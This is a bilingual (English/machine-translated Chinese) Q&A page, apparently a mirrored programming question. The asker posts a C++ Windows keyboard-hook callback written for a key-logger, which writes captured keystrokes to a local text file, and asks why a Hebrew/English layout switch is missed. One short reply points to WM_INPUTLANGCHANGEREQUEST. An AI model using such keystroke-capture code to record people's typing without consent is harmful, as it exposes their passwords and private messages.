简体   繁体   English

键盘挂钩-不同的语言-C ++

[英]keyboard hook- different languages - c++

I'm trying to write a key-logger, but I have a problem when I switch a language. 我正在尝试编写按键记录器,但是在切换语言时遇到问题。

I have Hebrew and English in my keyboard. 我的键盘上有希伯来语和英语。

It recognizes well Hebrew and English separately, the problem is if I change language(alt+shift) so it remains in the first language. 它可以很好地识别希伯来语和英语,问题是如果我更改语言(alt + shift),使其保留为第一语言。

code: 码:

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
{
    if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100))
    {
        std::string toPrint = "nCode = " + std::to_string(nCode);
        std::string toPrint2 = "wParam = " + std::to_string(wParam);
        std::string toPrint3 = "wParam = " + std::to_string(lParam);

        OutputDebugStringA(toPrint.c_str());
        OutputDebugStringA(toPrint2.c_str());
        OutputDebugStringA(toPrint3.c_str());

        f1 = fopen("c:\\a\\log.txt", "a+");
        if (wParam == VK_RETURN)
        {
            ch = '\n';
            fwrite(&ch, 1, 1, f1);
        }
        else
        {
            BYTE ks[256];
            GetKeyboardState(ks);
            WORD w;
            UINT scan;
            scan = 0;
            ToAscii(wParam, scan, ks, &w, 0);
            ch = char(w);
            fwrite(&ch, 1, 1, f1);
        }
        fclose(f1);
    }
}

I saw that nCode, wParam and lParam parameters have the same values in the two languages. 我看到nCode,wParam和lParam参数在两种语言中具有相同的值。

Any ideas? 有任何想法吗?

Thanks! 谢谢!

I think you'll want to process the WM_INPUTLANGCHANGEREQUEST message. 我认为您将要处理WM_INPUTLANGCHANGEREQUEST消息。 I assume you'll always want to accept the language change. 我认为您将始终希望接受语言更改。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM